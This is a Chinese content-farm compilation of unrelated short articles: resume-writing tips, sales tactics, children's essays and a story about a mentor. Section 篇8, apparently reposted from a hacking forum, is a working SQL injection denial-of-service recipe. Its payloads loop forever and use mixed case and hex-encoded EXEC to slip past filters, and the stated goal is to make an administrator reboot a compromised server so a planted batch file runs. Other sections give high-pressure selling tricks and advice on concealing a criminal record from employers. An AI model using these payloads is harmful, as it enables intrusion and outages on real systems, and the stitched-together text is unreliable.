下面是小编收集整理的让熟人帮你简历，本文共16篇，供大家参考借鉴，欢迎大家分享。
篇1：让熟人帮你简历
在社会当中就要脚踏实地但这个指的是从实际出发，而并非说什么都要靠自己去做，以实际为核心就是讲究实际利益。自恋的人很多所以放不下自己的架子，特别是一些大学生刚从校园走出来难免心高气傲，觉得自己在一所好学校读书且学历尚可，那应该是求职市场上比较受欢迎的一类人，为此再去找别人尤其是熟人帮忙，这不是显得挺没面子的吗？自己这书是白读了吗？还得去央求别人帮忙？还有些人也不爱让别人帮忙出于面子、自尊心等方面的原因。 既然有更好的机会为何不让熟人帮你推荐简历？从求职市场的整体情况来看通过熟人介绍进入公司的人也不少，这充分地显示出人脉的'重要性所以一定要予以重视才行。别人有关系帮你递交简历那成功率不高了很多？还可以弄个好点的位置那你凭着自己有这么容易吗？（本文由大学生个人简历网小篇为大家收集）不少有句话叫做：找个好媳妇少奋斗十年甚至一辈子吗？既然有好的机会干嘛不要白不要？什么是面子和自尊心？你摆出一副高傲的态度那人家就给你面子了？认为你多了不起吗？我们不能学那种没什么本事和财力还装的人，这样的人是没点用的还不承认自己不行，你行那不是靠着装和说出来的，是靠着实质性的东西作为衡量依据的。 多和别人交流才能取得更多的机会所以一定要本着实际为主的核心思想，只要能帮你把简历递交给更好的单位即可，那你给别人说几句好话甚至拍拍马屁又怎么样？能付出这么点东西就得到好工作还不划算吗？
篇2：让顾客帮你卖东西
让业务人员最头疼的是，往往还没有把话说完，对方已经把你赶了出来，所以做业务员除了踏实努力之外，还要有度量吃下大腕大腕的闭门羹。下面的几
个技巧也许会对战斗在一线的广大业务人员有所帮助。
1、消除顾虑：您买不买没有关系，我只是想让你知道这种产品
已经在市场上销售了，你看一看，真的很不错（把产品的卖点、政策和利润要讲清楚），顾客可以不买，所以顾客的逆反心理消失了。要做到和蔼的态度和表情，让顾客没有办法拒绝，让他也不忍心拒绝。
2、价格分解：把产品价格进一步分解，为了突出产品的低成本，
把产品分解成最小单元。如白酒xx元/瓶。然后再介绍利润，促销力度，产品的卖点。
3、客户的兴趣：在每个交易中必须迎合客户的兴趣，投其所好，对客户关心的话题和事物表示真挚的热心，巧妙的引出话题后多交谈，表示钦佩这就是推销的技巧。
4、二则一法则：减少顾客的选择权，在顾客要做决定时，要让他们只有两种选择，要么选择是的“我会买”，要么不“我不买”。如：老板要5件呢还是要3件，一般人的第一印象会选择3件。如果你给顾客的选择越多，往往也就越会犹豫，并最终放弃购买。
5、老客户的作用：当你对你客情关系比较好的客户说：“我需要
你的帮助“当你诚心诚意的向别人求助时没有人会说不。你需要什么
帮助。我请他给我他的亲戚、朋友开店的地址、店名、姓名、电话等信息这样做可以提高你开店的质量和速度。
6、获取同情心：对于有些客户，你也许拜访了很多次了但他还是不买你的产品，
会对你说：不要再浪费时间了，我并不打算销售你的产品，因此，我劝你还是不要再费口舌了。对于这种客户希望你不要半途而废，面带笑容的对他说；请你不必为我担心，我所做的这些都是我的工作职责，只要你给我一点时间，听我解释，我就感到很高兴了，直到您买我们的产品为止。另外，雨雪天是开店的好日子。店主们多呆在屋里，而你在外面，因而难以出口拒绝。
7、真正的卖主：进店后要在最短的时间内找出真正的买主，如果做主的没有在，要很客气的给店员介绍产品的买点和政策，顺便让她们转告店主，约定下次拜访时间。
8、反客为主：对于很多终端店你把产品的卖点，促销政策利润
空间都介绍完了，但是店主也没有拒绝，也没有表态，在这种情况下建议你可以尝试直接卸货，打开箱子，陈列到柜台上，一般情况下就是他不要几件，但是也不好意思把你开箱的一件让你拿走的。
9、坚持的作用：有一部分客户对待你的产品，是十分小心谨慎的，
即使你已经去了很多次了，他还是不接受你的产品，源于是很多终端毕竟行走江湖多年，自然也不是省油的灯，犹如被上当多次的“卖拐、卖车、卖担架”成长起来的资深顾问“老范”，吃亏多次自然也就“自学成才”了。 记得自己做业务的时候，在**市场有一家店，已经去拜访了八次了，店主还是不接受我们的产品，第九次去拜访的时候，店主还是说不接受。当开车去前面调头回来时，老板说那就进一件吧，我搬一件进去后，他说：再搬一件，就这样让一件一件的进了五件，当时他告诉我，现在很多业务说几天一个周期说了不算，他以前是在考验我是否准确，结果那家店成了忠实客户，像这种店你不好进店，别的产品也不好进店，要是维护好了会得到意想不到的结果的。做业务只要把最初的一点坚持保有到底就一定能过够成功。
篇3：让客户帮你销售
推荐有三种类型，最低层次的推荐叫作“征求推荐”，这种类型是你向一位已有的客户索取推荐函，并且客户满足了你的要求。我在《如何赢得客户推荐》的文章中也介绍了如何完成这一工作。
“主动推荐”比“征求推荐”更好一些。主动推荐是指你现有的客户主动联系你，并且帮助你赢得一个新的潜在新用户，而他做这一切完全是自愿的，不需要你去请求。
“不请自来的推荐”则是最高的一种境界――也就是圣杯级别的客户推荐。这个级别的推荐把你带到了一个全新的境界，某个你现有的客户给你做了非常好的推荐。
不请自来的推荐比任何一种类型的推荐的层次都要高很多，因为它意味着你在已有客户中已经赢得了如此之多的信任，你的客户已经完全变成了你的销售代表！
利用主动推荐或不请自来的推荐进行销售要比其他的销售情况容易得多，因为你绝大部分工作都已经完成了――而且是由你现有的客户完成的！
那么，现在你可能已经很想了解如何才能赢得主动推荐或者不请自来的推荐了吧？
首先，你必须理解如何获得征求推荐。原因很简单。如果你不能赢得征求推荐，你就更无法赢得主动推荐，更别提不请自来的推荐了。所以你在继续阅读下去之前，可能应该先掌握如何赢得客户推荐。
一旦你已经理解了如何赢得征求推荐，你就可以继续去了解如何能够赢得客户推荐的圣杯。
赢得主动推荐或不请自来的推荐的关键在于完成《如何赢得客户推荐》中的第三个步骤。下面是摘要：
1.提供令人难以置信的服务，
确保你和你的公司所提供的服务在整个行业里的水平是最高的。
2. 对客户的需求要有前瞻性的积极应对。分析他们会需要什么，并且事先做出安排。
3.做一个提供附加价值的供应商。要想想除了客户期待的产品和服务之外，你还能为客户提供什么。
4.给你的客户一些建议。告诉你的客户他们能在哪里找到新的业务。
5.成为客户的朋友。在社交场合、业务关系活动、高尔夫课程、非正式午餐或者其他非严格意义的商业环境中接触他们。
如果你已经做到了上面的一切，那么你就只剩下一件事情要做，一件非常小的事情，就能够获得那些金灿灿的推荐……不要去要求客户这样做。
也就是说：让你的客户在很舒服的状态下做出推荐！
好办法是给每个客户在别人到他/她办公室的时候，有一个借口去谈论你。
不过这并不是让你去去滥用各种宣传品，比如赠送一些带有公司标志的咖啡杯什么的。相反，你应该赠送客户一件个性化的礼物，这个礼物应该能够成为办公室交谈的话题。例如，如果这位客户是一名超级棒球迷，你可以送一个棒球，让你的团队的每个人都在上面签名，并且在球上面可以加一个标签，上书 “感谢你对我们团队的帮助”。
当然，具体的方法因人而异，你只需运用你的个人关系和友谊建设技巧，选择一件个性化的礼物，让这件礼物能够一直出现在客户的办公室，并且一直未你带来正面的评价。
试试看！你会对这种方法的效果感到吃惊的。
读者们：你们愿意分享如何获得推荐的心得吗？我确信你们中很多人都有非常棒的经验！
篇4：规则帮你写好简历
12条规则帮你写好简历
在招聘者的挑选过程中，简历是你唯一能够全权控制的部份，至于写出来的简历如何，则与你所做的准备功夫成正比。你会发现若要写出“致胜”文件需要意见和指导，不过让我们先来看看几项基本原则：
1.内容资料要简单扼要。
2.避免咬文嚼字以及令人难以理解的措词。
3.用第三人称的立场写作(彷佛描述另一个人)，
如此你便可以强调自己的成就，又不会显得自吹自擂。这是最标准的引荐方式，也能增加内容的权威性。
4.不要只列出过去的职责--要强调你如何做出成果，例如拉到新的生意、控制预算、节省开支、引进新理念-要显示出你的与众不同。用精准的事实和数据把成就量列清楚。
譬如说，“行销量提高了25%”远比“大大提高行销量”好得多。
5.采用文字处理机创造专业形象，并设计一份文件格式，可以适用于特定的申请之用。
6.采用质优白纸--色纸影印的效果很差(履历表经常会被影印成许多副本，在公司里流传)。基于同样理由，也不要把履历表钉成一份。
7.采用效果良好的打印机，如果你给的'是影印本，效果要很好。这点绝对不要随便将就，必要的话，可以找家印刷公司。
8.需要强调的部份采用粗体字，但是不要用太多花稍的字体或斜体字，因为会分散对方对于重点讯息的注意力。
9.版面设计必须吸引人而且容易阅读，包括一般内文以及特别框示起来的文字。
10.采用强而有力的字眼显示你如何取得成果，例如：
获得创造发动
贯彻增加坚决
重建革新管理
凌驾促成解决
11.最多以两页为限，并且一定要把重点写在第一页。
12.要积极争取，但不要撒谎--万一你获准面试或者需要接受测试，很容易露出马脚。
雇主对于履历表上的不实宣言大多具有慧眼，所以无法当面自圆其说的，绝对不要出现在履历表上。有些组织甚至会采用你前任雇主所委托的人力公司，这种公司专门负责过滤诈欺者和华而不实的吹嘘者。
篇5：朋友，让我帮你好吗
朋友，让我帮你好吗_小学作文
很怕看见你皱眉头的样子，因为我知道我帮不了你；很怕看见你打架的样子，因为我知道我帮不了你；很怕看见你流眼泪的样子，因为我知道我帮不了你。
每当，我想伸出援手去帮你时，你知识推开我，然后轻描淡写的说：“不用了，我的事情能自己搞定！”可是，你知道吗？那时的我，该有多麽尴尬，改用多麽灰心失望！很想问你为什麽，为什麽要拒绝我的一番盛意，为什麽不允许我付出。这样的友谊对我不公平！
还记得，开学第二天的晚上，你就坐在我的前面。你转过来问我，中学生守则抄完没有。你可曾知道，对于我的眼睛，那漆黑的黑板上的字就像是那遥远天际的星星点点，那麽迷茫，这叫我怎麽抄，所以我只能无奈的'摇摇头。可是，出人意料的，你竟把你尚未完成的“作品”递给了我。那一刻，我默定你就是我不可言弃的朋友。可是，你是那麽自私，你只允许我是一个承受者，而不愿我也给你一片友谊之林呢？
往事再一次浮于我的脑海！
那是一个阳光明媚的日子，可是你却伤心极了，因为英语老师的话说重了。记得那天，当我拿着纸巾准备去安慰你时，你知识无情地将我推开，你不允许我坐在你的身边，也不允许我安慰你。你怕，怕被人误会。可是，我们仅仅是拥有纯洁的友谊的朋友呀！
那一刻，我真的懵了。你曾经在我读不准音标时，大声对老师说了一声“老师，她看不见！”你曾经在我考试失利后哭了时，坐在我身边，轻轻地拍打着我，并且是那麽温柔地安慰我；你曾经在我被人欺负时，大声呵斥那个人。可是，你就是没有一次肯给我机会，让你感受我对你浓浓的友谊。
朋友，你为什麽那麽自私，请你别再推开我，别再呵斥我去安慰你，让我——帮助你，好吗！
篇6：让我帮你拍拍吧！
“来，过来，幸子，让我帮你拍拍吧，这样你就能睡着了。”这句话是我童年时期最长听到的一句话。
一岁时，一双已布满皱纹的手轻轻的拍着我的背说着这句话，就这样我睡着了，睡在了甜蜜的幸福中，沉沉地熟睡着。
二岁时，这双手不见了，满屋子里都是白布，我哭着喊着，寻找着这双手，可我知道那双手不会再会来了。
三岁时，另一双嫩滑、白皙的手代替着她，照样拍着我的背，说着那句熟悉的话。但我总感觉是那么陌生。
现在这双手也已经变老了，也爬上了皱纹可每当我睡不着时，这双手就会安慰我，伴着我走过了许多的黑夜，让我安心地熟睡到天亮。
今天晚上妈妈的房间里灯火通明，她正在灯下写报告，我一点睡意也没有。我悄悄的走出房间，蹑手蹑脚地跑到房间门前，慢慢地打开门，看见妈妈桌前正躺着一份文稿，而人却已经不在椅子上了，我惊讶极了，伸长着头寻找着妈妈的身影，呀！妈妈怎么在窗边望着窗外的景色呢！我好奇的想，于是就走过去、拍了拍妈妈的肩，妈妈转过头来，用着慈祥的目光看着我，轻轻地点火了一句：“幸子，这么你怎么还不睡觉呢！要不我去不房间帮你拍拍吧！”妈妈！可是……我一直说不下去，而妈妈却已经将我领回房间，带上我难十分温暖的床，拍着我的肩。可这次无论妈妈怎么拍我也一点睡意也没有，我起身对这妈妈说“妈妈”这次让我帮你拍拍吧！说完，我就起身，让妈妈睡下学着妈妈的样子，轻轻地拍着我妈妈的肩，不久妈妈闭上了眼睛，甜甜地入睡了，不知今晚，我是怎么回事，在这个“失眠之夜”尽然不用妈妈拍就睡着了。
妈，睡吗！让我帮你拍拍吧！就像你一样用着我的小手轻轻的拍着你的背，说着那句你已经说过很多次的话，不过这次是换了角色罢了！可心却没变，妈！睡吧！祝你晚安。
杭州求是星洲小学六年级 徐幸子
篇7：如何让师哥师姐帮你求职
对即将毕业的大学生来说，在求职和寻找实习机会的过程中，如果有师哥师姐帮你在公司里递个内部简历，无疑是个实现目标的良机。因此，每当有往届毕业生的求职经验交流会，或者各种成功就业的师哥师姐出席的活动，在校生们都会踊跃参加。这种活动不仅可以听到很多第一手的经验介绍，而且能结识已经成功“打入”大公司里的师哥师姐。
可是你有没有发现，每次当你争先恐后地抢到一张名片，并在有需求发了邮件过去之后，从来都是杳无音信?或者对方的回信只是泛泛而谈，并无任何有价值的建议和帮助?这是为什么呢?难道师哥师姐都不愿意帮学弟学妹的忙吗?
我想给大家讲讲我推荐过的Stella同学的故事。
Stella比我小一级，而且和我不是一个系的，我与她原本素不相识。某次讲座后我认识了她，在之后的两年里，我不仅帮她申请到了理想的实习机会，甚至连她男友我都全力帮忙。她是如何让我如此信赖的呢?
第一，在最新鲜的时机，用最独特而质朴的方式，让师哥师姐认识你。
毕业后，我进入一家知名公司工作。一次校园实习分享会上，我被邀请回母校做了15分钟的主题发言。活动结束之后，我被现场的很多学弟学妹堵住，继续交流。当人群慢慢散去，我和几个朋友走到校门口的时候，Stella从后面追上来叫住我。她向我要了一张名片，并没有什么问题问我，也没有什么事情需要我帮忙，只是一再道谢，并说希望今后还能有机会再见。和乌泱泱地问“公司需要什么样的实习生”的学生相比，追到校门口还什么事儿都没有的Stella多少让我有些意外。
第二，及时发邮件跟进，尊重对方，礼貌当先。
当晚，Stella就给我发了一封邮件，礼貌地再次介绍了自己，并提出是否可以占用一点点时间来询问一些关于我所在行业的基本问题。收到这封信的时候我在忙其他事情，于是我们约了下午6点下班以后细聊。谁知到了约定时间，我又要去开会，于是我们又重新约定了时间，决定一个小时之后通个电话。晚上7点，她没有直接打电话进来，而是先发短信问我是否开完了会，现在能否打给我。我对她这种在细节上的礼貌非常欣赏，我们顺利地进行了简短的通话。无论她的问题多么 “门外汉”，我都尽可能地耐心回答，并且答应了帮她看看简历的请求。
之后我才知道，为了和我通电话，Stella提前半小时就坐在图书馆一个安静的角落里等时间。说实话，我为这些细节而深深感动。我问她要了简历，因为我真的非常想为这个懂礼貌、尊重他人的女孩子做点事情。
第三，实力是保障，不够要去学。
其实Stella的专业背景很一般，简历上也没有太多亮点，但因为她给我的印象实在是太好了，我便明确指出了她简历上的一些问题，并且告诉她应该在哪些方面继续努力。再一次让我意外的是，回去之后，Stella不仅认真修改了简历，而且努力地按照我告诉她的方式进行自我提高。之后她不断地把自己的进步和我分享，经常和我交流最近又做了什么，得到了什么启发，有什么新的机会，自己做得是否足够好等等。一年之后，我将她的简历发给公司HR部门，进入面试环节。
在最初，Stella的实力并不算太强。但她在明知我不可能推荐她的情况下，并没有选择断掉和我的联系去找一个新的关系，而是选择在这一年中不断努力。正是在这一年的交往中，我对她的努力、她的人品、她的性格积累了足够的信心，并最终把她推荐给公司。
第四，过了河还要再修桥。
经过了长达半年的面试和审核，Stella终于如愿以偿地进入公司工作。在这之后，我依然能隔三岔五地接到她发来的邮件，和我交流遇到的各种问题和收获。我虽然不是她的直接上司，但是似乎能一直看到她的成长和进步。Stella偶尔也会跑到我这里来跟我说说话，让我感觉到她还记挂着我，并不是过河拆桥的姑娘。她也经常帮助我做些搜索资料之类的杂事，有时候为了帮我找东西，甚至会忙到很晚。
这就是Stella的故事。对这个师妹，我怀有深深的感激，感谢她对我的尊重，感谢她对我的信任，感谢她让我有了一次愿意分享和帮助他人的机会。
如果你也正在寻找机会，并且希望师兄师姐能够帮你一把的话，是否能从她的故事中得到一些启示呢?
篇8：让管理员帮你重启服务器
摘自暗组
有时候，我们通过数据库备份一个批处理到启动菜单后，希望服务器在下次重启时运行我们的批处理，可是我们等啊等，服务器就是不重启，怎么办？ 让管理员帮我们重启一下吧。呵呵
以下注入代码让服务器停止响应，或响应很慢，要取得更好的效果，请丢到注入点后多执行几次。最终管理员会重新启动服务器。
数字型注入点：
;wHiLe 1<9 bEgIn sElEcT cHaR(0) eNd--
文本型注入点：
';wHiLe 1<9 bEgIn sElEcT cHaR(0) eNd--
或者以 Declare + EXEC 的方式来执行：
;dEcLaRe @s vArChAr(8000) sEt @s=0x7748694c6520313c3920624567496e2073456c456354206348615228302920654e64 eXeC(@s)--
';dEcLaRe @s vArChAr(8000) sEt @s=0x7748694c6520313c3920624567496e2073456c456354206348615228302920654e64 eXeC(@s)--
以上代码在数据库服务器上制造死循环导致服务器资源被耗尽进而拒绝服务。 管理员会帮你重启服务器。
注：以上代码具有攻击性，请谨慎使用。
注：其中的 select char(0) 可以改成 select power(1.23456,100) 以加大计算量，
-----------------夹烟占位--------------------
;wHiLe 1<9 bEgIn sElEcT cHaR(0) eNd--
这句的意思是当1小9开始将0这个反转ASCII码。因为是恒成立的所以是个死循环。一直到机器资源用尽
改字符大小是为了绕过网站的过滤防注入。
;declare @s varchar(8000) set @s=0x7748694c6520313c3920624567496e2073456c456354206348615228302920654e64 exec(@s)--
declare @s varchar(8000)定义@s为varchar型长度8000。将“wHiLe 1<9 bEgIn sElEcT cHaR(0) eNd”用HEX编码后符值给@s，再用exec执行。。
作用同样是绕过网站的过滤防注入
';wHiLe 1<9 bEgIn sElEcT cHaR(0) eNd--
加'因为他是字符型注入。反正我是解说不清楚了。
select power(1.23456,100)返回1.23456的100次方根，不死才怪呢
concat函数就是将里边的字符区别大小的的串联起来，benchmark(9999999999999,md5('test')报告客户端的运行经过时间。盲注时也许有用。
我不知道concat函数对攻击起什么作用？ w hex编码0x77 benchmark(9999999999999,md5(0x77) 这样也许能绕过防注入
乱写一气大牛见笑
篇9：3招帮你打造完美简历
3招帮你打造完美简历
个人简历中最为重要的一块内容就是你的能力加上你对这家企业还有职位的正确认识。所以，最好的方法就是在简单介绍自己的籍贯，学校，姓名之后就展开这方面的论述、不要以为这种方法有些唐突，其实细细想来公司凭什么会录用你?最为直接的原因就在于：你的才干跟能力比其他人出色很多，就像是鹤立鸡群一样!也许有些残酷，但是事实就是这样，我们也就只能勉强去接受了。
下面是yjbys小编和大家分享的3招帮你打造完美简历，更多相关资讯，请访问(/jianli)。
简历写作要求
明晰的职业定位
从简历角度来说，应该有针对性的突出自己的职业定位。也许很多人觉得职业定位只是一个简单的理想的描述，没有现实的指导意义，认为是“虚”的东西。然而，一个有职业定位的人，他必然是能主动控制自己职业发展的人，也必然知道自己未来的职业发展和学习方向，并且清楚自己优劣势，能客观了解社会环境。
简历的条理性和逻辑性
简历应该注重条理，分个人情况，自我评价，教育情况，社会实践，技能等来写。在一些细化的内容上，能一条一条，按从宏观到微观的思路来写。然而，有很多人的简历就像写一个自传一样，洋洋洒洒的一大篇，似乎是很有文采，思路很跳跃。其实这种简历，企业的HR是看都不看。
简历内容充实
虽然，刚毕业的学生没有什么实践经历，但在学校的情况可以写的具体一些，如学习获奖情况，学生活动组织和参与情况，论文，学校的实践和自己的社会实践等都可以用来充实自己的简历。当然，内容充实最好是围绕目标职位的要求，如，体现一些团队合作、组织协调能力、学习能力等。
其他注意事项
职场新人的简历同一般的简历一样，应该力求文字的准确，在做完简历后要仔细检查，注意语句的通顺和错字。另外，简历的总体内容应控制在一页。同时，尽量准备一份英文的简历。
简历是获得工作机会的第一个关口，尤其在当今网络发达的环境下，大多数人都是通过网络求职。所以，简历成为了成功的第一步。中国职场新人在没有实践经验的情况下，简历的制作尤其重要。希望以上几点建议对你们有帮助。
简历写作技巧
第一点、陈述你将解决什么问题
高管们专注于时间、金钱和风险这三个挑战。当他们在审核一份简历时，他们希望看到的是即使你不能解决所有这三个问题至少你是能克服这其中任何一个挑战的人。
第二点、解释你曾经帮助过谁
在很多的简历中都包括那些你工作过但是却并非是家喻户晓的公司名称，所以在简历中加入简短的解释说明。例如“十大国际重型建筑设备组件供应商”这都将会为你的业绩提供一定的背景。
第三点、说出你产生过什么样的影响
在这里我要强调一下，我所说的是你解决问题时所采取的具体措施。比如说你让工作流程提高了20%：你让每一部分生产造成的浪费减少了6%或者你让销售额同比增长至三倍。如果是这样，在简历中一定要具体说明，并把你的表现与你的同事的表现相对比。
第四点、显示出你的工作经验让你为这份工作所做的准备
你过往所累积的工作经验将引导你走向拥有更大机会的道路。但是如果你不说出你接下来准备做什么以及如何做，那么你将会让招聘者如何猜想，所以在更多的情况下他们几乎不会注意你。
那么所有的这些都意味着什么呢?现在让我们先回顾一下：使用上边列出的建议为决策者写简历，首先，把你的工作经验放到你能解决的问题之中。其次，消除工作匹配语言，相反专注于成就。最后，努力用简历获得一次面试机会，但是要注意一点因为简历是不会为你赢得工作，最后的面试还是需要自己的充分准备。
简历写作要点
个人简历中家庭地址的填写也是很重要的
随着社会就业压力的不断增加，社会上很多的求职者越来越重视个人简历的填写工作，因为他们都知道个人简历就是求职者的脸面,公司对于求职者的了解全部都是限定在一张个人简历之上。想要得到一份好的工作，就要从众多的求职者之中脱颖而出，引起公司的注意，因此他们非常注重个人简历的填写工作。
但是对于一些觉得自己的能力非常出众的人来说，却不注重个人简历的问题。他们觉得自己的能力非常的出色，只要在个人简历上面填写上自己的学历和工作经验就一定能够受到公司的重视。而事实也确实如此，他们投递了个人简历之后，公司也接纳了他们，让他们来公司上班。但是被分到的地区却不领他们满意，离他们住的地方太远了。
这种事情是常有发生的，特别是一些大型的企业中，他们会将招聘到的人才输送到各个地区进行工作。我们在将简历投递到这种公司中的时候一定要注意，家庭住址的填写。这种企业的覆盖面积十分的大，有的甚至连跨几个省，这样一来我们在填写个人简历的时候就更要注重家庭住址的问题了。因为公司会根据我们的家庭住址来给我们分配到合适的地区中工作，如果你不填写或者填写的含糊不清的话，公司就会认为你在任何地方都能够很好的工作，所以家庭地址的填写很重要。
特别是一些能力不要出众的人觉得自己非常有能力胜任这份工作的时候，一定要注意家庭住址的问题。因为你的能力很强公司就会将你调到最适合你的地方，那个地方有可能就离你的住址很远。
如何写个人简历中的荣誉
个人简历中的荣誉是简历中重要的一部分，简历中的荣誉也能体现出你曾经的成功和辉煌。简历中的荣誉代表着就是你个人的'能力还有水平。所以说，把这个简历中的荣誉写好了也是非常重要的一点。那么，怎样写才能把这个简历中的荣誉写的更有技巧而且让人真的相信这就是你自己的实力和水平呢?这个当然也是有一定的技巧的，也是会给你加分的。
很多招聘者就会这样说，自己在学校在社会实践中都会或多或少的得到一些荣誉或者奖励。那么，这些荣誉真的有必要都要一一的写在简历中吗?事实告诉我们这样做是不可以的。大家知道，不管做什么都有个主次之分，那么，简历中的荣誉也是一样，大家要把自己曾在学校或者社会实践中的荣誉选择几个具有代表性的，有重大意义的写在简历中，这样不仅简历中的内容简练而且还有重点。
还有一点要强调的就是应聘者在选择自己荣誉时，要选择和你应聘职位相符合的，不能把一些不相关的荣誉都写在简历中，就算你写的再多，招聘者也不会浪费时间多看一眼。所以大家要把自己重要荣誉写上比如，你曾经参加过的志愿者工作都可以写上，这种荣誉不仅能体现你自己的责任感，而且也能说明你对事业的热情，这样的应聘者招聘者喜欢。能让招聘者放心，舒心。简历中的奖励也要把相关的重要部分填在简历中，要按照一定顺序填好。以上就是简历中荣誉部分应该怎样填写。
简历当中如何描述个人违法犯罪记录?
如果我们有过违法犯罪记录的话，那么应该如何在简历当中描述这些?首先我们肯定不能告诉招聘者自己犯过法，一般大家肯定是不会主动交代这些的。但是如果招聘者明确提出了这些问题，例如他们问你：是否有过违法犯罪的不良记录?或者是你是否坐过牢等。此时你到底如何描述这些自己了?
如果想避免被招聘单位提出这类问题，那么我们首先就应该先从源头开始避免，也就是先搞清楚哪些岗位有可能会提出这类问题，最简单的方法就是去网上搜索看看相关的信息，从而避免自己应聘这些岗位，那么人家就不会提出这样的问题。比如说会计这样的岗位就很可能被提及你的犯罪记录情况，因为会计每天都和公司的资金接触，如此之多的钱在手里转悠久了，那么难免会令人产生一些歪心思，所以会计侵吞公司自己的事情也是非常多的。所以不向这些岗位投递简历就是保护自己过去隐私的最有效方式。
如果你在简历当中表示自己没有犯法过而事实上却有过犯罪几率，那么在今后企业如果把你的过去查出来了，此时你怎么办? 企业要查你其实很简单，或者说企业无心查你那么也会因为工作方面的事务而发现你的个人问题，比如说企业让你去办理护照或者某个手续等等，需要用到你的相关证件，那么在办理过程当中很可能就会将你的过去曝光出来。面对这种情况我们只能跟企业解释一下，如果你在这家公司干得不错或者你犯法的动机并不坏，那么还能够保留一线希望。
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篇10：帮你找工作赚钱的简历
在这个金钱至上的当代社会，人人都想要赚钱，但是，我们也都知道，赚钱并不是一件容易的事情。现在的社会，面临着巨大的就业压力，大学生在毕业之后，绝大部分的人即将面临失业，这样的前景，对于毫无社会经验的大学生而言，打击无疑就是致命的。求职的艰辛，让一直生活在象牙塔的大学生开始慢慢的意识到这个社会的残酷，以及想要成功，就必须要付出比别人多更多的努力。在这样一个竞争激烈的社会中，究竟怎样才能够找到一份满意的工作呢?
首先，你需要你明确自己的就业方向。这个方向可以完全根据自己的专业来决定，当然了，也可以根据自己的兴趣，前提是你必需要了解自己是不是能够真正的适应这样的一份工作。大学生在毕业之后，很多的人都想要找一份高薪又体面的工作，在人才市场上挑挑拣拣，最后也只能够败兴而归。对于一个初出茅庐的大学生而言，对于工作的要求不应该那么高，应该明确自己是个没有什么社会经验的新手，应该适应的是怎样的工作环境，认清自己，同时也必须要认清形势。
其次，在找工作前，我们都会向企业投递个人简历，这个直接关乎到你是否会有面试的资格，所以，对于个人简历的设定，是一点都马虎不得的，将自己好的一方面表现出来，在个人简历的遣词上，要尽可能的表现出自信的一面。所以在这里中国人才网给你推荐一份优秀的简历模板。
篇11：简历九招帮你应聘成功
一、将“个人简历”换成自己的名字。
主张求职者将简历上方的“个人简历”四个字换成个人的名字和联系方式。招聘者在挑选求职者进入下一轮书面考试或面试时，经常会遇到人数不够的状况。他们不会再从上千份简历中找出契合条件的求职者，他们通常只会凭第一遍看简历时的记忆进行筛选。假如求职者的简历上最显着的方位上写的是个人的名字和联系方式而非毫无用处的“个人简历”四个字的话，人力资源主管就能轻松地记住该求职者的名字，并找到他的简历。
二、简历有两页纸即可
通常来说，简历有两页纸就足够了，不只可以节省求职本钱，还便利HR翻阅。第一页可以描绘个人的基础信息，第二页再详细介绍个人丰厚的实习经验及爱好、专长等内容。简历既不需求封皮，也不要在后面附上很多的证书复印件，证书可以在面试时再给面试官看。
三、简历不宜过于花哨
很多人的简历制造得不错，但太花哨，全都是密密麻麻的粗体字、斜体字和艺术字，全体一看很粗糙。尽量少用这些东西。当然需求格外杰出的重要的东西，可以略微表现一下。
四、用优异纸张打印简历
很多求职者为了节省本钱，会挑选廉价而粗糙的纸张打印简历。专家提示说，求职者的简历到了公司后，公司通常还会再将简历进行屡次复印，以供多位不一样的人力资源主管或公司上层领导查看。用粗糙的纸张打印出来的简历也许开始效果还不错，但经过屡次复印后就会模糊不清了。所以，简历最佳选用纸质优良的纸张打印。
五、用推荐信替代求职信
针对求职者在简历中附加的求职信千人一面，难以招引人力资源主管眼光的景象，咱们主张求职者索性不写求职信，而改用推荐信。不论是本科生或是硕士研讨生，假如能让个人的指导教师写一封推荐信，尤其是在恩师是本行业内闻名的专家的情况下，一封内容简洁的推荐信通常能起到求职信所不能到达的良好效果。
六、写求职意向最佳不写薪水请求
很多求职者为了防止受职业约束，通常不在简历中写求职意向。专家说，个人在做HR时，不含求职意向的简历，除非条件格外优秀者，不然通常不予考虑。人力资源主管作业非常繁忙，通常没有时刻和精力去研讨某位求职者适合哪个岗位。所以，求职者最佳把求职意向写明白。
七、杰出对求职有用的爱好专长
不管行政机关还是民营企业的人力资源主管，都非常注重职工的爱好和专长，由于一个人的爱好和专长不只能表现一个人的性格特点，并且在必要的时分，如单位举行的球赛、表演等活动中能起到重要效果。因而，求职者必定要注重该项内容的填写。另外，还应该留意表现对求职有利的爱好、专长，防止对求职不利的爱好、专长。
八、实习经验应详细清晰
人力资源主管都非常注重求职者的实习经验，因而，在描绘实习经历时切忌含糊不清，必定要将个人的详细作业清晰地描绘明白。假如个人曾安排过某次活动，如能将全部活动继续的时刻、个人详细担任的作业以及对活动的奉献，为比赛曾争取到了一万元的赞助费等详细状况描绘出来，就能起到让用人单位刮目相看的效果。
九、外地手机要注明非本地手机
最佳可以在旁边注明是外地手机，或直接在手机号码前面加上数字“0”，避免使个人错失良机。
另外，还应该留意取消个性化的彩铃，并且，找工作期间，必须要留意手机24小时开机，公司在半夜打电话通知这种情况也是有的。
篇12：法则帮你写出必胜简历
9条法则帮你写出必胜简历
简历，在求职环节中，是你唯一能够全权控制的部份，至于写出来的履历表如何，则与你所做的准备功夫成正比。你会发现若要写出“致胜”文件需要意见和指导，不过让我们先来看看几项基本原则：
1、内容资料要简单扼要。
2、避免咬文嚼字以及令人难以理解的措词。
3、用第三人称的立场写作(彷佛描述另一个人)，如此你便可以强调自己的成就，又不会显得自吹自擂。这是最标准的引荐方式，也能增加内容的权威性。
4、不要只列出过去的.职责--要强调你如何做出成果，例如拉到新的生意、控制预算、节省开支、引进新理念-要显示出你的与众不同。用精准的事实和数据把成就量列清楚。譬如说，“行销量提高了25%”远比“大大提高行销量”好得多。
5、采用文字处理机创造专业形象，并设计一份文件格式，可以适用于特定的申请之用。
6、采用质优白纸--色纸影印的效果很差(履历表经常会被影印成许多副本，在公司里流传)。基于同样理由，也不要把履历表钉成一份。
7、采用效果良好的打印机，如果你给的是影印本，效果要很好。这点绝对不要随便将就，必要的话，可以找家印刷公司。
8、需要强调的部份采用粗体字，但是不要用太多花稍的字体或斜体字，因为会分散对方对于重点讯息的注意力。
9、版面设计必须吸引人而且容易阅读，包括一般内文以及特别框示起来的文字。
篇13：去粗取精简历帮你争取机会
去粗取精简历帮你争取机会
